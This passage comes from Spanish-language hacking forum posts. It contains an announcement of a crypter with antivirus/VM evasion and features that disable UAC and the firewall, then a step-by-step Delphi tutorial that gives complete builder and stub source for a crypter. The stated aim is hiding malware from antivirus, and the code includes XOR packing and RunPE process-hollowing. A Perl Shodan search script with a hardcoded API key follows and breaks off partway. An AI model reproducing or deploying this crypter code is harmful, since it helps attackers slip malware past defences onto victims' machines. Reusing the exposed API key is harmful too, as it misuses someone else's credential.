        end;

        StatusBar1.Panels[0].Text := '[+] Done';
        Form1.StatusBar1.Update;
      end;

    end;

    procedure TForm1.Button3Click(Sender: TObject);
    begin
      if OpenDialog2.Execute then
      begin
        ruta_icono.Text := OpenDialog2.FileName;
        Image1.Picture.LoadFromFile(OpenDialog2.FileName);
      end;
    end;

    procedure TForm1.FormCreate(Sender: TObject);
    begin
      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog2.InitialDir := GetCurrentDir;
      OpenDialog2.Filter := 'Icons|*.ico|';
    end;

    end.

    // The End ?


    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=LPz__TqhQ0E[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca.
#59
Un simple crypter que hice en Delphi con las siguientes funciones :

  • Generador de key para el cifrado
  • Delay
  • Startup del archivo
  • Ocultar archivo
  • Melt File
  • Mensajes falsos
  • Ejecutar comandos
  • Matar procesos
  • Abrir URL
  • Descargar y ejecutar archivos
  • File Pumper,Extension Spoofer & Icon Changer

  • Antis :

    [++] Virtual PC
    [++] Virtual Box
    [++] Debug
    [++] Wireshark
    [++] OllyDg
    [++] Anubis
    [++] Kaspersky
    [++] VMware

  • Disables :

    [++] UAC
    [++] Firewall
    [++] CMD
    [++] Run
    [++] Taskmgr
    [++] Regedit
    [++] Updates

    [!] Creditos :

    [++] steve10120 [ RunPE ]

    Una imagen :



    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=EYhaZTVhSCg[/youtube]

    Si quieren bajar el programa lo pueden hacer de aca :

    SourceForge.

    Eso seria todo.
#60
[Titulo] : Creacion de un Crypter
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del Builder
0x03 : Creacion del Stub
0x04 : Probando el Crypter
0x05 : Creditos

-- =================--------

0x01 : Introduccion

Un crypter es un programa para ocultar malware para que no sea detectado y eliminado por los antivirus , en este manual aprenderemos a hacer un cryper en Delphi 7.
Solo les voy a enseñar como hacerlo , les voy avisando que no sera FUD y lo hago solo en Delphi 7 por varias razones ya que Delphi XE2 me daba muchos errores en este tema.

Empecemos ... 

0x02 : Creacion del Builder

Para empezar cargamos Delphi 7 y nos vamos "File->New->Application" como en la siguiente imagen :



Despues agregamos los siguientes elementos al formulario :

* 1 Edit (En Standard)
* 2 Botones (En Standard)
* 1 OpenDialog (En Dialogs)

El Edit contendra la ruta del archivo a cifrar , el primer boton sera para buscar el archivo , el segundo boton para cifrar el archivo y finalmente el OpenDialog lo usaremos para que el usuario pueda seleccionar el archivo.

Entonces al primer boton lo ponemos al lado del Edit1 y le ponemos de texto al boton : "Load" , el segundo boton viene abajo del Edit1 y le ponemos de texto "Encrypt"

Tambien si quieren pueden poner un titulo al Form desde la opcion de "Caption" del formulario , en mi caso pongo "Crypter".

El formulario les deberia quedar asi :



Entonces hacemos doble click en el boton "Load" y ponemos el siguiente codigo :

Código (delphi) [Seleccionar]

procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then // Abrimos el OpenDialog para insertar la ruta
  // del archivo a cifrar
  begin
    Edit1.Text := OpenDialog1.FileName; // Establecemos el texto de Edit1 con
    // la ruta del archivo marcado en el openDialog1
  end;
end;


Ahora hacemos doble click en el boton "Encrypt" y ponemos el siguiente codigo :

Código (delphi) [Seleccionar]

procedure TForm1.Button2Click(Sender: TObject);
var
  codigo: string; // Declaramos la variable "codigo" como string
  key: integer; // Declaramos la variable "key" como integer
  separador: string; // Declaramos la variable "separador" como string
  linea: string; // Declaramos la variable "linea" como string
begin

  separador := '-barra-';
  // Establecemos el valor que tendra la variable "separador"
  key := 123; // Establecemos el valor de la variable "key" como 123

  codigo := xor_now(leer_archivo(Edit1.Text), key);
  // Leemos el archivo que hay en
  // la caja de texto y ciframos con XOR el contenido usando una key

  CopyFile(Pchar(ExtractFilePath(Application.ExeName) + '/' + 'stub.exe'),
    Pchar(ExtractFilePath(Application.ExeName) + '/' + 'done.exe'), True);
  // Copiamos el stub.exe con el nombre de done.exe

  linea := separador + codigo + separador + IntToStr(key) + separador;
  // Establecemos
  // la variable "linea" con el valor de contenido del archivo cifrado con
  // XOR y la key del cifrado XOR

  escribir_datos('done.exe', '-acatoy1-', '-acatoy2-', linea); // Escribimos
  // los datos en el ejecutable done.exe marcando los delimtiadores "acatoy" y
  // tambien ponemos el valor de la variable "linea"
 
  ShowMessage('Done');

end;


El codigo les deberia quedar algo asi :



Para poder usar este codigo debemos crear una Unit llendo a "File->New->Unit" como en la siguiente imagen :



Una vez creada pongan el siguiente codigo :

Código (delphi) [Seleccionar]

// Unit : Tools for Crypter
// Coded By Doddy Hackman in the year 2015
// Credits : Based on OP Crypter By Xash
// Thanks to Xash

unit tools;

interface

uses SysUtils, Windows;

function leer_datos(archivo, delimitador1, delimitador2: string): string;
function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;

function leer_archivo(archivo_a_leer: String): AnsiString;
function xor_now(texto: string; clave: integer): string;

implementation

function xor_now(texto: string; clave: integer): string;
var
  numero: integer; // Establecemos la variable "numero" como integer
  contenido: string; // Establecemos la variable "contenido" como string
begin
  contenido := ''; // Vaciamos el contenido de la variable "contenido"
  for numero := 1 to Length(texto) do // Realizamos un for empezando por 1 hasta
  // la longitud de la variable "texto"
  begin
    contenido := contenido + Char(integer(texto[numero]) xor clave);
    // ciframos los datos
    // con XOR
  end;
  Result := contenido; // Devolvemos el resultado de la funcion como el valor
  // de la variable "contenido"
end;

function leer_archivo(archivo_a_leer: String): AnsiString;
var
  archivo: File; // Declaramos la variable "archivo" como File
  tipo: Byte; // Declaramos la variable "tipo" como Byte
begin
  tipo := FileMode; // Establecemos el FileMode para abrir el archivo
  try
    FileMode := 0; // Establecemos como "0" el FileMode
    AssignFile(archivo, archivo_a_leer); // Abrirmos el archivo
{$I-}
    Reset(archivo, 1); // Leemos el archivo desde la primera linea
{$I+}
    if IoResult = 0 then // Si IoResult es 0 ...
      try
        SetLength(Result, FileSize(archivo)); // Establecemos la longitud la
        // variable "Result" como la longitud del archivo
        if Length(Result) > 0 then
        // Si la longitud del resultado es mayor a 0 ...
        begin
{$I-}
          BlockRead(archivo, Result[1], Length(Result)); // Leemos los datos
{$I+}
          if IoResult <> 0 then // Si es distinto a 0 ..
            Result := '';
        end;
      finally
        CloseFile(archivo); // Cerramos el archivo
      end;
  finally
    FileMode := tipo; // Declaramos la variable FileMode como la variable "tipo"
  end;
end;

function leer_datos(archivo, delimitador1, delimitador2: string): string;

var
  contenido: string; // Declaramos la variable "contenido" como string
  limite: integer; // Declaramos la variable "limite" como integer
  dividiendo: integer; // Declaramos la variable "dividiendo" como integer
  dividiendo2: integer; // Declaramos la variable "dividiendo2" como integer
  dividiendo3: integer; // Declaramos la variable "dividiendo3" como integer
  dividiendo4: integer; // Declaramos la variable "dividiendo4" como integer
  control1: integer; // Declaramos la variable "control1" como integer
  control2: integer; // Declaramos la variable "control2" como integer
  suma: integer; // Declaramos la variable "suma" como integer
  numero: integer; // Declaramos la variable "numero" como integer
  suma_inicial_1: integer; // Declaramos la variable suma_inicial_1 como integer
  suma_inicial_2: integer; // Declaramos la variable suma_inicial_2 como integer
  suma_casi_1: integer; // Declaramos la variable suma_casi_1 como integer
  suma_casi_2: integer; // Declaramos la variable suma_casi_2 como integer
  resultado: string; // Declaramos la variable "resultado" como string
  contenido_final: string;
  // Declaramos la variable "contenido_final" como string
begin

  if (FileExists(archivo)) then // Si existe el archivo ...
  begin
    contenido := leer_archivo(archivo); // Leemos el archivo y guardamos todo
    // en la variable "contenido"

    suma_inicial_1 := Length(delimitador1);
    // Calculamos la longitud de la variable
    // "delimitador1"

    suma_inicial_2 := Length(contenido);
    // Calculamos la longitud de la variable
    // "contenido"

    suma := Pos(delimitador1, contenido) + suma_inicial_1;
    // Calculamos la posicion del
    // "delimitador" en la variable "contenido"

    dividiendo := suma_inicial_2 - suma;
    // Restamos las variables "suma_inicial_2"
    // y "suma"
      dividiendo2 := suma_inicial_2 - dividiendo;
    // Restamos las variables "suma_inicial_2"
    // y "dividiendo"

    contenido := Copy(contenido, dividiendo2, suma_inicial_2);
    // Copiamos las variables y las guardmamos en "contenido"

    suma_casi_1 := Pos(delimitador1, contenido);
    // Calculamos la posicion de "delimitador1"
    // en la variable "contenido"
    suma_casi_2 := suma_casi_1 + suma_inicial_1;
    // Sumamos las variables "suma_casi_1"
    // y "suma_inicial_1"

    control1 := Pos(delimitador2, contenido) - suma_casi_2;
    // Calculamos la posicion
    // de "delimitador2" en la variable "contenido" y lo restamos con "suma_casi_2"

    control2 := control1 - 1; // Restamos en uno la variable "control1"

    for numero := 0 to control2 do
    // Realizamos un for usando desde 0 hasta el valor
    // de la variable "control2"
    begin
      dividiendo3 := suma_inicial_1 + numero;
      // Sumamos la variables varibles "suma_inicial_1"
      // y "numero"
      dividiendo4 := Pos(delimitador1, contenido) + dividiendo3;
      // Calculamos la posicion de "delimitador1" en la variable
      // "contenido"
      contenido_final := contenido[dividiendo4]; // "Usamos la posicion que esta
      // en la variable "dividiendo4" para acceder a cierta posicion de la variable
      // "contenido"
      resultado := resultado + contenido_final;
      // Sumamos las variables "resultado" y
      // "contenido_final"
    end;

    if resultado = '' then // Si la variable "resultado" esta vacia ...
    begin
      resultado := 'Error'; // Mostramos "Error" en la variable "resultado"
    end
    else
    begin
      Result := resultado; // De lo contrario mostramos el contenido de la
      // variable "resultado" en resultado de la funcion
    end;
  end
  else
  begin
    Result := 'Error'; // De lo contrario mostramos "Error" en el resultado de
    // la funcion
  end;
end;

function escribir_datos(ruta, delimitador1, delimitador2, texto: string): bool;
var
  abriendo_archivo: TextFile; // Declaramos la variable "abriendo_archivo" como
  // TextFile
begin
  if (FileExists(ruta)) then // Si el archivo de la variable "ruta" existe ...
  begin
    AssignFile(abriendo_archivo, ruta); // Abrimos el archivo de la variable
    // "ruta"
    Append(abriendo_archivo); // Empezamos a leer el archivo desde la variable
    // "abriendo_archivo"
    try
      begin
        WriteLn(abriendo_archivo, delimitador1 + texto + delimitador2);
        // Escribimos los datos
        // de las variables "delimitador1,"texto","delimitador2"
      end
    finally
      begin
        CloseFile(abriendo_archivo); // Cerramos el archivo desde la variable
        // "abriendo_archivo"
      end;
      Result := True; // Devolvemos "True" como resultado de la funcion
    end;
  end
  else
  begin
    Result := False; // De lo contrario devolvemos "False" como resultado de la
    // funcion
  end;

end;

end.

// The End ?


Y para terminar la Unit guardenla con el nombre de "tools".

Les deberia quedar algo asi :



Para conectar el formulario con la Unit debemos ir a los "uses" que estan al inicio del codigo del formulario y agregar "tools" al final , quedando asi :

Código (delphi) [Seleccionar]

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,tools;


Para finalizar guardamos el proyecto como "builder" y con esto ya terminamos el builder.

0x03 : Creacion del Stub

Para empezar tenemos que crear un proyecto en el mismo directorio que el del builder , pero esta vez tiene que ser un programa consola , para eso nos vamos a "File->New->Other" y despues en la ventana que viene seleccionamos "Console Application" , con imagenes seria asi :





Ahora deben agregar el unit "uExecFromMem" que es el Runpe hecho por steve10120 , para crear el Unit vamos a "File->New->Unit" como en la siguiente imagen :



Una vez creado ponemos el siguiente codigo :

Código (delphi) [Seleccionar]

{ uExecFromMem

  Author: steve10120
  Description: Run an executable from another's memory.
  Credits: Tan Chew Keong: Dynamic Forking of Win32 EXE; Author of BTMemoryModule: PerformBaseRelocation().
  Reference: http://www.security.org.sg/code/loadexe.html
  Release Date: 26th August 2009
  Website: http://ic0de.org
  History: First try

  Additions by testest 15th July 2010:
    - Parameter support
    - Win7 x64 support
}

unit uExecFromMem;

interface

uses Windows;

function ExecuteFromMem(szFilePath, szParams: string; pFile: Pointer):DWORD;

implementation

function NtUnmapViewOfSection(ProcessHandle:DWORD; BaseAddress:Pointer):DWORD; stdcall; external 'ntdll';

type
  PImageBaseRelocation = ^TImageBaseRelocation;
  TImageBaseRelocation = packed record
     VirtualAddress: DWORD;
     SizeOfBlock: DWORD;
  end;

procedure PerformBaseRelocation(f_module: Pointer; INH:PImageNtHeaders; f_delta: Cardinal); stdcall;
var
  l_i: Cardinal;
  l_codebase: Pointer;
  l_relocation: PImageBaseRelocation;
  l_dest: Pointer;
  l_relInfo: ^Word;
  l_patchAddrHL: ^DWord;
  l_type, l_offset: integer;
begin
  l_codebase := f_module;
  if INH^.OptionalHeader.DataDirectory[5].Size > 0 then
  begin
    l_relocation := PImageBaseRelocation(Cardinal(l_codebase) + INH^.OptionalHeader.DataDirectory[5].VirtualAddress);
    while l_relocation.VirtualAddress > 0 do
    begin
      l_dest := Pointer((Cardinal(l_codebase) + l_relocation.VirtualAddress));
      l_relInfo := Pointer(Cardinal(l_relocation) + 8);
      for l_i := 0 to (trunc(((l_relocation.SizeOfBlock - 8) / 2)) - 1) do
      begin
        l_type := (l_relInfo^ shr 12);
        l_offset := l_relInfo^ and $FFF;
        if l_type = 3 then
        begin
          l_patchAddrHL := Pointer(Cardinal(l_dest) + Cardinal(l_offset));
          l_patchAddrHL^ := l_patchAddrHL^ + f_delta;
        end;
        inc(l_relInfo);
      end;
      l_relocation := Pointer(cardinal(l_relocation) + l_relocation.SizeOfBlock);
    end;
  end;
end;

function AlignImage(pImage:Pointer):Pointer;
var
  IDH:          PImageDosHeader;
  INH:          PImageNtHeaders;
  ISH:          PImageSectionHeader;
  i:            WORD;
begin
  IDH := pImage;
  INH := Pointer(Integer(pImage) + IDH^._lfanew);
  GetMem(Result, INH^.OptionalHeader.SizeOfImage);
  ZeroMemory(Result, INH^.OptionalHeader.SizeOfImage);
  CopyMemory(Result, pImage, INH^.OptionalHeader.SizeOfHeaders);
  for i := 0 to INH^.FileHeader.NumberOfSections - 1 do
  begin
    ISH := Pointer(Integer(pImage) + IDH^._lfanew + 248 + i * 40);
    CopyMemory(Pointer(DWORD(Result) + ISH^.VirtualAddress), Pointer(DWORD(pImage) + ISH^.PointerToRawData), ISH^.SizeOfRawData);
  end;
end;

function Get4ByteAlignedContext(var Base: PContext): PContext;
begin
  Base := VirtualAlloc(nil, SizeOf(TContext) + 4, MEM_COMMIT, PAGE_READWRITE);
  Result := Base;
  if Base <> nil then
    while ((DWORD(Result) mod 4) <> 0) do
      Result := Pointer(DWORD(Result) + 1);
end;

function ExecuteFromMem(szFilePath, szParams:string; pFile:Pointer):DWORD;
var
  PI:           TProcessInformation;
  SI:           TStartupInfo;
  CT:           PContext;
  CTBase:       PContext;
  IDH:          PImageDosHeader;
  INH:          PImageNtHeaders;
  dwImageBase:  DWORD;
  pModule:      Pointer;
  dwNull:       DWORD;
begin
  if szParams <> '' then szParams := '"'+szFilePath+'" '+szParams;

  Result := 0;
  IDH := pFile;
  if IDH^.e_magic = IMAGE_DOS_SIGNATURE then
  begin
    INH := Pointer(Integer(pFile) + IDH^._lfanew);
    if INH^.Signature = IMAGE_NT_SIGNATURE then
    begin
      FillChar(SI, SizeOf(TStartupInfo), #0);
      FillChar(PI, SizeOf(TProcessInformation), #0);
      SI.cb := SizeOf(TStartupInfo);
      if CreateProcess(PChar(szFilePath), PChar(szParams), nil, nil, FALSE, CREATE_SUSPENDED, nil, nil, SI, PI) then
      begin
        CT := Get4ByteAlignedContext(CTBase);
        if CT <> nil then
        begin
          CT.ContextFlags := CONTEXT_FULL;
          if GetThreadContext(PI.hThread, CT^) then
          begin
            ReadProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @dwImageBase, 4, dwNull);
            if dwImageBase = INH^.OptionalHeader.ImageBase then
            begin
              if NtUnmapViewOfSection(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase)) = 0 then
                pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
              else
                pModule := VirtualAllocEx(PI.hProcess, nil, INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            end
            else
              pModule := VirtualAllocEx(PI.hProcess, Pointer(INH^.OptionalHeader.ImageBase), INH^.OptionalHeader.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            if pModule <> nil then
            begin
              pFile := AlignImage(pFile);
              if DWORD(pModule) <> INH^.OptionalHeader.ImageBase then
              begin
                PerformBaseRelocation(pFile, INH, (DWORD(pModule) - INH^.OptionalHeader.ImageBase));
                INH^.OptionalHeader.ImageBase := DWORD(pModule);
                CopyMemory(Pointer(Integer(pFile) + IDH^._lfanew), INH, 248);
              end;
              WriteProcessMemory(PI.hProcess, pModule, pFile, INH.OptionalHeader.SizeOfImage, dwNull);
              WriteProcessMemory(PI.hProcess, Pointer(CT.Ebx + 8), @pModule, 4, dwNull);
              CT.Eax := DWORD(pModule) + INH^.OptionalHeader.AddressOfEntryPoint;
              SetThreadContext(PI.hThread, CT^);
              ResumeThread(PI.hThread);
              Result := PI.hThread;
            end;
          end;
          VirtualFree(CTBase, 0, MEM_RELEASE);
        end;
        if Result = 0 then
          TerminateProcess(PI.hProcess, 0);
      end;
    end;
  end;
end;

end.


Para terminar guardamos la Unit como "uExecFromMem" y el codigo nos quedaria algo asi :



Ahora tenemos que agregar los siguientes "uses" al codigo del Stub :

Código (delphi) [Seleccionar]

uses
  SysUtils, StrUtils, Windows, uExecFromMem, tools;


Despues borren el "{$APPTYPE CONSOLE}" al inicio del codigo para que no se vea la consola al cargar el Stub.

Ahora debemos agregar el siguiente codigo que nos servira para usar arrays en el Stub.

El codigo :

Código (delphi) [Seleccionar]

type
  otro_array = array of string;
  // Declaramos el tipo "otro_array" como array of string


Despues tenemos que agregar la siguiente funcion para manejar los arrays y los datos del Stub.

El codigo :

Código (delphi) [Seleccionar]

procedure regex2(texto: string; separador: string; var resultado: otro_array);
// Thanks to ecfisa for the help
var
  numero1: integer; // Declaramos la variable "numero1" como integer
  numero2: integer; // Declaramos la variable "numero2" como integer
begin
  texto := texto + separador; // Concatenamos la variable "texto" y "separador"
  numero2 := Pos(separador, texto); // Calculamos la posicion de "separador" en
  // la variable "texto"
  numero1 := 1; // Establecemos la variable "numero1" como "1"
  while numero1 <= numero2 do
  // Mientras "numero1" sea menor o igual a "numero2" ...
  begin
    SetLength(resultado, Length(resultado) + 1);
    // Establecemos la longitud de resultado
    // a la longitud de la variable "resultado" mas "1"
    resultado[High(resultado)] := Copy(texto, numero1, numero2 - numero1);
    // Establecemos la variable "resultado" como la copia de las variables "texto",
    // "numero1" y la resta de las variables "numero2" y "numero1"
    numero1 := numero2 + Length(separador);
    // Establecemos la variable "numero1" como
    // la suma de la variable "numero2" y la longitud de ña variable "separador"
    numero2 := PosEx(separador, texto, numero1); // Calculamos la posicion de de
    // "separador" en el variable "texto"
  end;
end;


Ahora agregamos el siguiente codigo entre el begin principal.

El codigo :

Código (delphi) [Seleccionar]

var
  todo: string; // Declaramos la variable "todo" como string
  codigo: string; // Declaramos la variable "codigo" como string
  key: string; // Declaramos la variable "key" como string
  datos: otro_array; // Declaramos la variable "datos" como otro_array

begin

  todo := leer_datos(paramstr(0), '-acatoy1-', '-acatoy2-'); // Leemos los datos
  // del ejecutable mismo usando los delimitadores "-acatoy1-" y "-acatoy2-"

  regex2(todo, '-barra-', datos);
  // Separamos los delimitadores que estan separados
  // por "-barra-" en la variable "todo"

  key := datos[2];
  // Establecemos como "key" la segunda posicion del array "datos"
  codigo := datos[1];
  // Establecemos como "codigo" la primera posicion del array
  // "datos"

  codigo := xor_now(codigo, StrToInt(key)); // Establecemos como "codigo"
  // la encriptacion XOR del contenido de la variable "codigo" usando la key y lo
  // guardamos en la variable "codigo"

  ExecuteFromMem(paramstr(0), '', Pchar(codigo));
  // Ejecutamos el codig en memoria
  // usando la funcion "ExecuteFromMem"

end.


Una imagen de como deberia quedarles el codigo :



Para terminar guardamos el proyecto como "stub" y podriamos dar por terminado este corto capitulo.

0x04 : Probando el Crypter

Para probar el Crypter vamos a probarlo con una copia del programa mismo para cifrar , entonces hacemos una copia del builder y cargamos el builder principal para despues hacer click en el boton "Load" y seleccionar la copia del builder , despues hacemos click en "Encrypt" , si todo sale bien les va a aparecer un mensaje que dice "Done" , entonces veremos que el builder nos genero un ejecutable llamado "done.exe" , ese es el programa cifrado , simplemente lo abrimos y veremos el builder cifrado.

Unas imagenes :









Con ven el Crypter funciona correctamente.

0x05 : Creditos

OP Crypter by Xash.
uExecFromMem by steve10120 - fixed for Win7x64 by testest.

Eso seria todo.

--========--
  The End ?
--========--

Version PDF.

Version en VideoTutorial :

[youtube=640,360]https://www.youtube.com/watch?v=SjB6qK9ixz8[/youtube]
#61
Scripting / [Perl] Shodan Tool 0.6
10 Abril 2015, 16:01 PM
Un simple script para hacer busquedas en Shodan con las siguientes opciones :

  • Buscar resultados por IP
  • Buscar resultados por cantidad
  • Busqueda normal
  • Listar los query guardados
  • Busca los query guardados que ya fueron buscados
  • Lista los tags mas populares
  • Lista todos los servicios que shodan encuentra
  • DNS Lookup
  • Reverse DNS Lookup
  • Te devuelve tu IP
  • Te da informacion sobre tu API

    Es necesario que tengan una API Key suya para poder usar la API de Shodan.

    Un video con ejemplos de uso :

    [youtube=640,360]https://www.youtube.com/watch?v=pvtNveG1N-w[/youtube]

    El codigo :

    Código (perl) [Seleccionar]

    #!usr/bin/perl
    #Shodan Tool 0.6
    #(C) Doddy Hackman 2015
    #Based on : https://developer.shodan.io/api
    #ppm install http://www.eekboek.nl/dl/ppms/Crypt-SSLeay.ppd
    #ppm install http://www.bribes.org/perl/ppm/JSON.ppd

    use LWP::UserAgent;
    use JSON;
    use Getopt::Long;
    use Color::Output;
    Color::Output::Init;
    use IO::Socket;

    my $nave = LWP::UserAgent->new( ssl_opts => { verify_hostname => 1 } );
    $nave->agent(
    "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0"
    );
    $nave->timeout(5);

    my $api_key = "LY10TuYViggY3GXRzLOUxdp6Kk3Lu9sa";

    GetOptions(
       "ip=s"           => \$ip,
       "count=s"        => \$count,
       "search=s"       => \$search,
       "query"          => \$query,
       "query_search=s" => \$query_search,
       "query_tags"     => \$query_tags,
       "services"       => \$services,
       "resolve=s"      => \$resolve,
       "reverse=s"      => \$reverse,
       "myip"           => \$myip,
       "api_info"       => \$api_info
    );

    head();

    if ( $ip ne "" ) {
       if ( $ip =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/ ) {
           print by_ip($ip);
       }
       else {
           my $get = gethostbyname($ip);
           my $ip  = inet_ntoa($get);
           by_ip($ip);
       }
    }
    elsif ( $count ne "" ) {
       by_count($count);
    }
    elsif ( $search ne "" ) {
       by_search($search);
    }
    elsif ( $query ne "" ) {
       by_query();
    }
    elsif ($query_search) {
       by_query_search($query_search);
    }
    elsif ($query_tags) {

       by_query_tags($query_tags);

    }
    elsif ( $services ne "" ) {
       list_services();
    }
    elsif ( $resolve ne "" ) {
       resolve($resolve);
    }
    elsif ( $reverse ne "" ) {
       reverse_now($reverse);
    }
    elsif ( $myip ne "" ) {
       my_ip();
    }
    elsif ( $api_info ne "" ) {
       api_info();
    }
    else {
       sintax();
    }

    copyright();

    # Functions

    sub by_query_tags {

       printear_titulo("\n[+] Listening the most popular tags  ...\n\n");

       my $code =
         toma( "https://api.shodan.io/shodan/query/tags?key=" . $api_key );

       $resultado = JSON->new->decode($code);

       my $total = $resultado->{'total'};

       if ( $total ne "" ) {
           printear("[+] Total : ");
           print $total. "\n\n";
       }
       else {
           printear("[-] WTF !");
       }

       my $i = 0;

       my @encontrados = @{ $resultado->{'matches'} };
       foreach my $encontrado (@encontrados) {
           my $value = $encontrado->{"value"};
           my $count = $encontrado->{"count"};

           $i++;
           print "-------------------------------------\n\n";
           if ( $value ne "" ) {
               printear("[+] Value : ");
               print $value. "\n";
           }

           if ( $count ne "" ) {
               printear("[+] Count : ");
               print $count. "\n";
           }

           print "\n-------------------------------------\n";

           if ( $i % 5 == 0 ) {
               printear("\n[+] Press enter to show more\n");
               <STDIN>;
           }

       }

    }

    sub by_query_search {

       my $query = $_[0];

       printear_titulo(
           "\n[+] Searching in the directory of saved search queries ...\n\n");

       my $code =
         toma( "https://api.shodan.io/shodan/query/search?key="
             . $api_key
             . "&query="
             . $query );

       $resultado = JSON->new->decode($code);

       my $total = $resultado->{'total'};

       if ( $total ne "" ) {
           printear("[+] Total : ");
           print $total. "\n\n";
       }
       else {
           printear("[-] WTF !");
       }

       my $i = 0;

       my @encontrados = @{ $resultado->{'matches'} };
       foreach my $encontrado (@encontrados) {
           $i++;
           print "-------------------------------------\n\n";
           my $votes       = $encontrado->{"votes"};
           my $description = $encontrado->{"description"};
           my $title       = $encontrados->{"title"};
           my $timestamp   = $encontrados->{"timestamp"};
           my $query       = $encontrados->{"query"};

           if ( $votes ne "" ) {
               printear("[+] Votes : ");
               print $votes. "\n";
           }

           if ( $description ne "" ) {
               printear("[+] Description : ");
               print $description. "\n\n";
           }

           if ( $title ne "" ) {
               printear("[+] Title : ");
               print $title. "\n";
           }

           if ( $timestamp ne "" ) {
               printear("[+] Timestamp : ");
               print $timestamp. "\n";
           }

           if ( $query ne "" ) {
               printear("[+] Query : ");
               print $query. "\n";
           }

           printear("[+] Tags : ");
           my @tags = @{ $encontrado->{'tags'} };
           foreach my $tag (@tags) {
               print $tag. "\t";
           }
           print "\n";

           print "\n-------------------------------------\n";

           if ( $i % 5 == 0 ) {
               printear("\n[+] Press enter to show more\n");
               <STDIN>;
           }

       }

    }

    sub by_query {

       printear_titulo("\n[+] Listening the saved search queries ...\n\n");

       my $code = toma( "https://api.shodan.io/shodan/query?key=" . $api_key );
       $resultado = JSON->new->decode($code);

       my $total = $resultado->{'total'};

       if ( $total ne "" ) {
           printear("[+] Total : ");
           print $total. "\n\n";
       }
       else {
           printear("[-] WTF !");
       }

       my $i = 0;

       my @encontrados = @{ $resultado->{'matches'} };
       foreach my $encontrado (@encontrados) {
           $i++;
           print "-------------------------------------\n\n";
           my $votes       = $encontrado->{"votes"};
           my $description = $encontrado->{"description"};
           my $title       = $encontrados->{"title"};
           my $timestamp   = $encontrados->{"timestamp"};
           my $query       = $encontrados->{"query"};

           if ( $votes ne "" ) {
               printear("[+] Votes : ");
               print $votes. "\n";
           }

           if ( $description ne "" ) {
               printear("[+] Description : ");
               print $description. "\n\n";
           }

           if ( $title ne "" ) {
               printear("[+] Title : ");
               print $title. "\n";
           }

           if ( $timestamp ne "" ) {
               printear("[+] Timestamp : ");
               print $timestamp. "\n";
           }

           if ( $query ne "" ) {
               printear("[+] Query : ");
               print $query. "\n";
           }

           printear("[+] Tags : ");
           my @tags = @{ $encontrado->{'tags'} };
           foreach my $tag (@tags) {
               print $tag. "\t";
           }
           print "\n";

           print "\n-------------------------------------\n";

           if ( $i % 5 == 0 ) {
               printear("\n[+] Press enter to show more\n");
               <STDIN>;
           }

       }

    }

    sub list_services {

       printear_titulo("\n[+] Listening all services that Shodan crawls ...\n\n");

       my $code = toma( "https://api.shodan.io/shodan/services?key=" . $api_key );
       if ( $code ne "" ) {
           my $i = 0;
           while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
               $i++;
               my $port = $1;
               my $name = $2;
               printear("[+] Port : ");
               print $port. "\n";
               printear("[+] Name : ");
               print $name. "\n\n";

               if ( $i % 20 == 0 ) {
                   printear("\n[+] Press enter to show more\n");
                   <STDIN>;
               }

           }
       }
       else {
           print "[-] WTF !" . "\n";
       }

    }

    sub resolve {

       my $hostnames = $_[0];

       printear_titulo("\n[+] Working in DNS Lookup ...\n\n");

       my $code =
         toma( "https://api.shodan.io/dns/resolve?hostnames="
             . $hostnames . "&key="
             . $api_key );
       if ( $code ne "" ) {
           while ( $code =~ /"(.*?)": "(.*?)"/migs ) {
               my $host = $1;
               my $ip   = $2;
               printear("[+] Hostname : ");
               print $host. "\n";
               printear("[+] IP : ");
               print $ip. "\n";
           }
       }
       else {
           printear( "[-] WTF !" . "\n" );
       }

    }

    sub reverse_now {

       $ips = $_[0];

       printear_titulo("\n[+] Working in Reverse DNS Lookup ...\n\n");

       my $code = toma(
           "https://api.shodan.io/dns/reverse?ips=" . $ips . "&key=" . $api_key );
       if ( $code ne "" ) {
           while ( $code =~ /"(.*?)": \["(.*?)"\]/migs ) {
               my $ip   = $1;
               my $host = $2;
               printear("[+] IP : ");
               print $ip. "\n";
               printear("[+] Hostname : ");
               print $host. "\n";
           }
       }
       else {
           printear( "[-] WTF !" . "\n" );
       }
    }

    sub my_ip {
       printear_titulo("\n[+] Getting your IP ...\n\n");
       my $code = toma( "https://api.shodan.io/tools/myip?key=" . $api_key );
       if ( $code =~ /"(.*)"/ ) {
           my $ip = $1;
           printear("[+] IP : ");
           print $ip. "\n";
       }
       else {
           printear( "[-] WTF !" . "\n" );
       }
    }

    sub api_info {

       printear_titulo("\n[+] Getting your API Info ...\n\n");

       my $code = toma( "https://api.shodan.io/api-info?key=" . $api_key );

       $resultado = JSON->new->decode($code);
       my $unlock_left = $resultado->{"unlocked_left"};
       my $telnet      = $resultado->{"telnet"};
       my $plan        = $resultado->{"plan"};
       my $http        = $resultado->{"https"};
       my $unlocked    = $resultado->{"unlocked"};

       if ( $unlock_left ne "" ) {
           printear("[+] Unlocked left : ");
           print $unlock_left. "\n";
       }
       if ( $telnet ne "" ) {
           printear("[+] Telnet : ");
           print $telnet. "\n";
       }
       if ( $plan ne "" ) {
           printear("[+] Plan : ");
           print $plan. "\n";
       }
       if ( $http ne "" ) {
           printear("[+] HTTPS : ");
           print $http. "\n";
       }
